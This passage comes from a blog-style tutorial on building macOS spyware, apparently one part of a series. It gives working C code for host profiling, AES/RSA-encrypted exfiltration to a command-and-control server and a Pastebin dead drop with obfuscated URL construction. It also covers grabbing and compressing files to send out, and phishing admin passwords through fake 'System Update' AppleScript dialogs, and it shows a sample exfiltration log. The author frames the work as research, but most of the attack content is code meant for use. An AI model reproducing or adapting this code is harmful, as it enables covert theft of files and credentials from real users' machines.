key exists, it adds an entry to our piece, If it doesn’t exist, it creates the key and populates it with a new entry, The path,
BackgroundState
and the BundleID
so It overwrites the original plist with the modified data.
The inclusion of the BackgroundState
key is a subtle touch. By marking the piece as a background process, it make sure that host treats it like any other background app during launch. It won’t show up glaringly in the dock or draw attention like a full GUI application might.
Source :
PHONE HOME
Alright, so far we’ve mutated, encrypted, tossed in some anti-analysis, and even built a persistence variant to carry on. So, what’s next? So once everything’s set up, it’s time to confirm we’ve got a victim. To do that, the piece needs to initiate COM with us.
In part one, we pulled off a simple trick: we tried to collect a detailed profile of the infected host stuff like OS, kernel version, architecture, and other relevant metadata and sent ‘em over using a socket, which by itself is unprotected. The first piece was something like this:
// Collect system information
void sys_info(RBuff *report) {
struct utsname u;
if (uname(&u) == 0) {
report->pointer += snprintf(report->buffer + report->pointer, sizeof(report->buffer) - report->pointer,
"[System Info]\nOS: %s\nVersion: %s\nArch: %s\nKernel: %s\n\n", u.sysname, u.version, u.machine, u.release);
}
}
// Collect user information
void user_info(RBuff *report) {
struct passwd *user = getpwuid(getuid());
if (user)
report->pointer += snprintf(report->buffer + report->pointer, sizeof(report->buffer) - report->pointer,
"[User Info]\nUsername: %s\nHome: %s\n\n", user->pw_name, user->pw_dir);
}
// Collect network information
void net_info(RBuff *report) {
struct ifaddrs *ifaces, *ifa;
if (getifaddrs(&ifaces) == 0) {
for (ifa = ifaces; ifa; ifa = ifa->ifa_next) {
if (ifa->ifa_addr && ifa->ifa_addr->sa_family == AF_INET) {
char ip[INET_ADDRSTRLEN];
inet_ntop(AF_INET, &((struct sockaddr_in *)ifa->ifa_addr)->sin_addr, ip, sizeof(ip));
report->pointer += snprintf(report->buffer + report->pointer, sizeof(report->buffer) - report->pointer,
"[Network Info]\nInterface: %s\nIP: %s\n\n", ifa->ifa_name, ip);
}
}
freeifaddrs(ifaces);
}
}
This is very simple and effective, we can introduce encryption here and avoid send this raw and introduce all the techniques there to do, However we ain’t gonna do that, I said something about using one single line instead of this implementation /usr/sbin/system_profiler -nospawn -detailLevel full
Well let’s try and see what’s what.
So that command let you gather detailed system info (OS version, hardware specs, etc.) without needing native API calls, which has up’s and down’s yea simple, but visible and prone to notice, a simple popen
can get the job done next we wanna generating a UUID for each system gives you a unique fingerprint, which make’s sense to keep track of which is which and who’s who.
Alright, we’re introducing hybrid encryption. What does that mean? We’re encrypting the AES key with an RSA public key. Using AES for the system profile and then wrapping the AES key in RSA means that even if someone intercepts the message, they’d first have to break RSA encryption to get to the AES key before they can even think about decrypting the system data.
Now, you might say, “Why go all this trouble for just some host info? Just XOR it, man!” And you’re right if we were only sending basic data, something as simple as XOR (or even base64) would do the trick. But this setup lays the groundwork for more sensitive data we’ll be sending later.
Remember, we ain’t just gone collect host info we wanna collect a few maybe file-grabber and dump Keychain or even install a backdoor and this is the first communication with the C2, so we can’t afford to get burned on the initial try, Or at least have the decency to protect our victim data So, by fetching the RSA public key from a remote server, we can update or rotate keys as needed without changing the deployed client code. It’s a two-edged sword but yea..
simple, let’s call it
overnout.c
/* 0x00s */
#include <openssl/evp.h>
#include <openssl/rsa.h>
#include <openssl/pem.h>
#include <curl/curl.h>
#include <openssl/aes.h>
#include <openssl/rand.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/sysctl.h>
#include <sys/utsname.h>
#include <uuid/uuid.h>
size_t callback(void *contents, size_t size, size_t nmemb, void *userp) {
size_t realsize = size * nmemb;
struct Mem *mem = (struct Mem *)userp;
char *ptr = realloc(mem->data, mem->size + realsize + 1);
if(ptr == NULL) return 0;
mem->data = ptr;
memcpy(&(mem->data[mem->size]), contents, realsize);
mem->size += realsize;
mem->data[mem->size] = 0;
return realsize;
}
RSA* get_rsa(const char* url) {
CURL *curl = curl_easy_init();
if (!curl) return NULL;
struct Mem mem;
mem.data = malloc(1);
mem.size = 0;
curl_easy_setopt(curl, CURLOPT_URL, url);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, callback);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, (void *)&mem);
CURLcode res = curl_easy_perform(curl);
curl_easy_cleanup(curl);
// https://curl.se/libcurl/c/curl_easy_cleanup.html
if (res != CURLE_OK) {
free(mem.data);
return NULL;
}
BIO *bio = BIO_new_mem_buf(mem.data, mem.size);
RSA *rsa_pub = PEM_read_bio_RSA_PUBKEY(bio, NULL, NULL, NULL);
BIO_free(bio);
free(mem.data);
return rsa_pub;
}
void overn_out(const char *server_url, const char *data, size_t size) {
CURL *curl = curl_easy_init();
if (!curl) return;
struct curl_slist *headers = NULL;
headers = curl_slist_append(headers, "Content-Type: application/octet-stream");
curl_easy_setopt(curl, CURLOPT_URL, server_url);
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, data);
curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, size);
CURLcode res = curl_easy_perform(curl);
curl_slist_free_all(headers);
curl_easy_cleanup(curl);
}
void profiler(char *buffer, size_t *offset) {
FILE *fp;
char line[1035];
fp = popen("system_profiler SPSoftwareDataType SPHardwareDataType", "r");
if (fp == NULL) {
return;
}
*offset += snprintf(buffer + *offset, B - *offset, "[Info]\n");
while (fgets(line, sizeof(line), fp) != NULL) {
*offset += snprintf(buffer + *offset, B - *offset, "%s", line);
}
fclose(fp);
}
void id(char *id) {uuid_t uuid;
uuid_generate_random(uuid);uuid_unparse(uuid, id);}
void sendprofile() {
// assign or NULL*
const char *prime; // REMOTE_C2
const char *p_key; // KEY
char buff[B] = {0};
size_t Pio = 0;
char system_id[37];
// system ID.
id(system_id);
Pio += snprintf(buff + Pio, sizeof(buff) - Pio, "ID: %s\n", system_id);
Pio += snprintf(buff + Pio, sizeof(buff) - Pio, "=== Host ===\n");
profiler(buff, &Pio);
unsigned char aes_key[16];
if (!RAND_bytes(aes_key, sizeof(aes_key))) {
// die
return;
}
unsigned char iv[AES_BLOCK_SIZE];
if (!RAND_bytes(iv, AES_BLOCK_SIZE)) {
// die
return;
}
// https://wiki.openssl.org/index.php/EVP_Authenticated_Encryption_and_Decryption
unsigned char ciphertext[B + AES_BLOCK_SIZE];
int ciphertext_len = 0;
EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new();
if (!ctx) {
// die
return;
}
if (1 != EVP_EncryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, aes_key, iv)) {
EVP_CIPHER_CTX_free(ctx);
return;
}
int len = 0;
if (1 != EVP_EncryptUpdate(ctx, ciphertext, &len, (unsigned char*)buff, Pio)) {
EVP_CIPHER_CTX_free(ctx);
return;
}
ciphertext_len = len;
int final_len = 0;
if (1 != EVP_EncryptFinal_ex(ctx, ciphertext + len, &final_len)) {
EVP_CIPHER_CTX_free(ctx);
return;
}
ciphertext_len += final_len;
EVP_CIPHER_CTX_free(ctx);
// get the server's RSA public key
RSA *rsa_pub = get_rsa(p_key);
if (!rsa_pub) {
// die - should auto-destruct
return;
}
// encrypt the AES key using the RSA public key
int rsa_size = RSA_size(rsa_pub);
unsigned char *encrypted_key = malloc(rsa_size);
if (!encrypted_key) {
RSA_free(rsa_pub);
return;
}
int encrypted_key_len = RSA_public_encrypt(sizeof(aes_key), aes_key, encrypted_key,
rsa_pub, RSA_PKCS1_OAEP_PADDING);
if (encrypted_key_len == -1) {
free(encrypted_key);
RSA_free(rsa_pub);
return;
}
RSA_free(rsa_pub);
// package
int message_len = 4 + encrypted_key_len + AES_BLOCK_SIZE + 4 + ciphertext_len;
unsigned char *message = malloc(message_len);
if (!message) {
free(encrypted_key);
return;
}
unsigned char *p = message;
uint32_t ek_len_net = htonl(encrypted_key_len);
memcpy(p, &ek_len_net, 4);
p += 4;
memcpy(p, encrypted_key, encrypted_key_len);
p += encrypted_key_len;
free(encrypted_key);
// Write the IV.
memcpy(p, iv, AES_BLOCK_SIZE);
p += AES_BLOCK_SIZE;
// length.
uint32_t ct_len_net = htonl(ciphertext_len);
memcpy(p, &ct_len_net, 4);
p += 4;
memcpy(p, ciphertext, ciphertext_len);
// send the message
overn_out(prime, (const char*)message, message_len);
free(message);
}
And remember malware is still just software. We can’t leave static Remote C2 info hanging around (remember that anti-analysis section?) if it’s out there, it’s game over for both the malware and us. That’s why the best move is always having a kill switch, And make sure it doesn’t get used against your piece.
A Dead-Drop ?
But here’s what we can do: there’s something called a dead drop. What is that? As the name suggests, it’s a way to use legitimate services like GitHub, Pastebin, or other public platforms to secretly host our command and control (C2) endpoint. The malware then reaches out to these services, extracting the C2 address from the drop and initiating a connection. This method bypasses firewall restrictions, as the user would see a legitimate connection to GitHub, for example, and not suspect anything malicious.
Since the connection is made to a trusted service, we don’t have to worry about encrypting the C2 endpoint itself, aside from the data being sent. One simple way to further avoid detection is by stacking strings such as the URL of the drop so they don’t appear clearly in static analysis. We can use some basic obfuscation techniques to prevent easy identification of the drop URL in the code, keeping the entire process relatively hidden.
Alright let’s take pastebin[.]com for this example, let’s create a function that turn this url https://pastebin[.]com/raw/{rand}
as you can see, it’s constructed of /raw/
followed by a random string at the end. This random string will vary each time and can be considered a form of dynamic URL construction. Instead of hardcoding the entire URL in the binary, we can construct it at runtime to hide its actual endpoint.
/*-------------------------------------------
Network
-------------------------------------------*/
void _url(char *buf) {
buf[0] = 'h'; buf[1] = 't'; buf[2] = 't'; buf[3] = 'p'; buf[4] = 's';
buf[5] = ':'; buf[6] = '/'; buf[7] = '/'; buf[8] = 'p'; buf[9] = 'a'; :
buf[10] = 's'; buf[11] = 't'; buf[12] = 'e'; buf[13] = 'b'; buf[14] = 'i';
buf[15] = 'n'; buf[16] = '.'; buf[17] = 'c'; buf[18] = 'o'; buf[19] = 'm';
buf[20] = '/'; buf[21] = 'r'; buf[22] = 'a'; buf[23] = 'w'; buf[24] = '/';
// buf[25] = 'f'; buf[26] = 'u'; buf[27] = 'c'; buf[28] = 'K'; buf[29] = 'k';
// buf[30] = 'O'; buf[31] = 'f'; buf[32] = 'f';
buf[33] = '\0';
}
Then we can uses libcurl to fetch the raw content of the Pastebin page. This function is designed to handle HTTP requests and save the response in a dynamically allocated buffer. Here’s how it works:
- Sends an HTTP GET request.
- Processes the server’s response.
curl_easy_setopt(curl, CURLOPT_URL, url);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, networkWriteCallback);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, (void *)&chunk);
curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L);
Once the Pastebin content is fetched, we start to parse the content and extract two URLs, The first URL is for the public key (for encryption) and The second URL is the C2 endpoint, This allows the us to dynamically retrieve critical data, avoiding hardcoded C2 URLs in the binary itself. If an analyst inspects the binary, they won’t easily see the C2 address because it’s not directly embedded in the executable. Instead, it’s pulled from a public service (Pastebin) at runtime.
Alright, so this is just a dummy trick. We can introduce encryption here as well, but honestly, encryption just makes my head spin sometimes so let’s keep it simple for now. The lazy way gets the job done.
Now, if we were using services like GitHub, the C2 server could be a bit more dynamic. If it gets taken down, we can simply update the GitHub repo, and the next time the malware runs, it’ll pull the new endpoint from the page. But in our case, that’s not going to work. Why? Well, first off, GitHub isn’t exactly the most opsec-friendly choice.
Also, there’s a hard limit: GitHub has request rate limits, so hitting 209 requests could easily get us blocked. Not to mention, our design is built around strict communication with the C2 server, so having the ability to pull the C2 endpoint from a GitHub repo just doesn’t fit into the plan.
You might argue the same for Pastebin, and fair enough, it’s not foolproof. But that’s why I think dead-drops are one of the cleverest and dumbest things you can do at the same time. It’s simple, but it works especially when paired with dynamic URL generation and obfuscation techniques. These methods give us that extra layer of stealth, helping ensure we stay under the radar. without overengineering things.
And even better, instead of connecting directly, we’ll chain multiple Pastebins until we hit the right URL. Some hashing and validation need to be added too, plus a way to make the binary blazing fast who’s talkin’ cons, right? So for this dummy, let’s keep it just that “dead”.
SPYWARE
What’s next? It’s time to upgrade the piece’s capabilities into actual spyware. Now we’re launching a search and grab routine. What does that mean? We’re looking for specific files documents, credentials, etc. similar to how ransomware scans a host for files and encrypts ‘em.
The search and grab routine is the core of spyware: it scans the host system for files matching specific criteria, collects them, and gets them ready for exfiltration. Once the files are gathered, they need to be compressed, encrypted, and sent to the C2 server.
The same design stay’s, we fetch the RSA public key from a remote URL. We initialize curl, set up our memory buffer with our callback, and perform the HTTP or/S request. Once we’ve got the data in memory, we use BIO to read the RSA public key in PEM format, .. If anything fails along the way, we bail out
The request will look somethin’ like this:
What’s really going on is take the plain text (like our system profile and files), and first, it generates a random AES key and IV. Then, it uses OpenSSL’s EVP
routines to encrypt the data with AES-128-CBC
. Once the “plaintext” is encrypted, we take that AES key and wrap it by encrypting it with our RSA public key with RSA_PKCS1_OAEP_PADDING
Source:
We’re moving on to file collection. For this example, I’m gonna snag some JPEGs (we could add more later, but for the demo, we’ll stick with these). Plus, I ain’t about to hand skidd something ready-made for reuse!
Our allowed file extensions are *EXTS[] = {"jpeg", "png", NULL};
So, what do we need next? We gotta initiate a copy routine. That means we need to create a temporary directory where we can copy the target files before sending ‘em off. It’s all about gathering our loot in one spot for easy exfil later.
now every file we snag or “See” we got check it and if it’s a regular file with a size greater than zero, checks if the file extension matches our allowed list. If it does, it copies that file into our temporary directory and stores its info for later.
Once we got the files we call zlib
to compress a block of data this is later used to shrink down our tar archive, Then, wraps things up for file exfiltration. It first creates a tar archive of the temporary directory where our collected files are stored. It reads the tar archive into memory, unlinks (deletes) the file on disk, compresses the archive, and then goes through the same encrypt-and-package routine we saw earlier before sending the final package off to the C2 server.
Then it sends the system profile, collects files using nftw
, transmits the bundled files, and finally cleans up by deleting the temporary files ensuring that if the victim ever discovers the breach, they won’t know the extent of the compromise.
[REMOTE HOST]
Saved to '/exfil05'
ID: EC001398-2683-46B9-823E-8CF1C570950D
=== Host ===
Software:
System Software Overview:
System Version: macOS Ventura 13.3.1 (Build 22D49)
Kernel Version: Darwin 22.4.0
Boot Volume: Macintosh HD
Boot Mode: Normal
Computer Name:
User Name: foo
Secure Virtual Memory: Enabled
System Integrity Protection: Enabled
Time since boot:
Hardware:
Hardware Overview:
Model Name: MacBook Pro
Model Identifier: MacBookPro18,1
Processor Name: 10-Core Intel Core i9
Processor Speed: 2.3 GHz
Hyper-Threading Technology: Enabled
Number of Processors: 1
Total Number of Cores: 10
Memory: 32 GB
System Firmware Version:
OS Loader Version:
SMC Version (system):
Serial Number (system):
Hardware UUID:
Provisioning UDID:
[DATA]
Exfil:
Extracted:
- ./color_128x.png,
- ./n_icon.png, ./preview.png,
- ./pyright-icon.png, ./icon.png
- ....
Yeah, this might still get caught in a firewall, but we can add another layer to handle that. To counter firewalls, we could implement a routine to hunt for any security tools, like network analyzers or debuggers, and terminate them. Tools like Wireshark
or even system-level security software are often running in the background, and we could use a simple built-in killall
command to kill these processes. Sure, this might raise questions about why the app suddenly crashed or was killed, but that’s where the real fun begins. After killing those tools, we can just have the malware restart itself. It’s a simple trick, but in most cases, it works like a charm.
But it’s a very aggressive technique and kind of exposes yourself by doing something like that, so I don’t really like it. The whole concept is that the malware should look and behave harmless, not aggressive, at the start. Sure, in theory, you can do it, but it’s very risky. By introducing our dead drop, we don’t have to worry about static exposing the C2 endpoint directly (well, kinda). It will just get lost in the traffic unless someone gets interested in what’s going on, especially with the dynamic URL generation and obfuscation we’ve put in place.
If the malware starts showing too many signs of aggressive behavior, like abruptly killing processes, it could raise red flags and make it easier for someone to catch on. It’s all about blending in and staying low-profile, especially in the beginning stages.
Now, it’s time for us to do something risky. Maybe it’s time to dump the Keychain, right? I mean, we might have stolen a few files, but we need something to broaden our foothold. The problem is, all the credentials are stored in protected folders like /Library
, which is guarded by SIP (System Integrity Protection). So, what’s the move?
Well, sooner or later, you’re going to have to interact with the victim somehow, and here’s how. We’ll prompt them using an AppleScript dialog. If you’re not familiar with AppleScript, it’s a scripting language that lets you control macOS applications and system functions. In our case, it’s a simple way to display dialogs or messages using built-in tools.
For example, you could have the piece pop up a dialog to confirm an action, like grabbing the user password. How are we doing that? Well, first thing’s first, we want to make sure we have the actual admin and not just a low-level user. To do that, we check whether the current user is an admin.
It first gives root a free pass since root is always an admin. Then, it checks the admin group info. It looks at the user’s primary group and even goes through the admin group’s member list to see if the username is there. This way, we can confirm if the user has admin privileges.
Once we’ve established that the current user is an admin, the next step is to prompt them for their password. The script ties everything together by figuring out who the current user is. If that user isn’t an admin, it prompts for an admin username with an AppleScript dialog. For each try, it shows a dialog asking for the password, checks it using dscl /Local/Default -authonly
, and if it matches, the password is saved for future use.
void request() {
const char *current_user = getlogin();
if (!current_user) {
struct passwd *user_info = getpwuid(getuid());
if (user_info) current_user = user_info->pw_name;
else return;
}
char admin_username[256] = {0};
if (who(current_user)) {
strncpy(admin_username, current_user, sizeof(admin_username) - 1);
} else {
const char *username_prompt =
"osascript -e 'display dialog \"Admin privileges required.\\nEnter admin username:\" "
"with title \"Admin Access\" default answer \"\" giving up after 30'";
char *username_input = get_(username_prompt);
if (!username_input || strlen(username_input) == 0) {
if (username_input) free(username_input);
return;
}
strncpy(admin_username, username_input, sizeof(admin_username) - 1);
free(username_input);
}
for (int attempts = 0; attempts < 3; attempts++) {
char password_prompt[1024];
if (who(current_user)) {
snprintf(password_prompt, sizeof(password_prompt),
"osascript -e 'display dialog \"System update requires your password.\\n\\n"
"Enter password:\" with title \"System Update\" with icon caution "
"default answer \"\" giving up after 30 with hidden answer'");
} else {
snprintf(password_prompt, sizeof(password_prompt),
"osascript -e 'display dialog \"Admin privileges required.\\n\\n"
"Enter password for %s:\" with title \"Admin Access\" with icon caution "
"default answer \"\" giving up after 30 with hidden answer'", admin_username);
}
char *password = get_(password_prompt);
if (!password) continue;
if (auth(admin_username, password)) {
strncpy(s, password, P - 1);
s[P - 1] = '\0';
free(password);
break;
}
free(password);
}
}
Now, this is a very simple technique, which reminds me of a trick I used before Transparency, Consent, and Control (TCC).
TCC is a security protocol designed to manage app permissions. Its main goal is to protect sensitive features like location, contacts, photos, microphone, camera, and full disk access. TCC enhances privacy by requiring users to give explicit consent before any app can access these features, putting more control in the hands of the users.
However, there’s something called TCC ClickJacking, which, as the name suggests, is a trick that makes you think you’re clicking “OK” on one thing, but you’re actually clicking on something else. Here’s a great proof of concept (PoC) of this technique by Breakpoint. The core idea is to design a window that sits directly over the system’s permission prompt, tricking the user into giving consent to the wrong thing.
Now, I don’t think this will work on newer systems anymore, but it’s worth a shot. I remember using it successfully on Monterey, and I wanted to share that thought process with you. Of course, I’m sticking with the first implementation for this malware, which I feel covers our needs best.
you can check out the official Display Dialogs and Alerts Documentation. But for now, just keep in mind that while TCC ClickJacking is an interesting concept, newer macOS versions have made this harder to pull off though it never hurts to look.
YOU’RE PWNED
What’s next? Well, we’re going to circle back and dive deeper into elements I haven’t fully shown yet. We’ll also take some time to clarify certain concepts you might have noticed in the incomplete design, and, just maybe, you’ll spot a flaw in the setup. Trust me, there’s a flaw, it’s there for a reason.
I had to trim some sections because, honestly, this post was getting pretty long. And let’s face it, we can’t cover everything in a single go. There are still many moving parts we haven’t explored yet. The reason this works on my machine is that I’ve specifically set it up and I know how to navigate through it. That might not necessarily be the case on other systems, so it’s important to remember this is a piece of research, showing off some basic techniques.
The goal here is to highlight concepts that could be used in macOs TTP’S malware development, with plenty of nuances you’ll encounter along the way. There’s more to come.
as always, see you next time!
** **
* *
*
*
*
*
*
*
**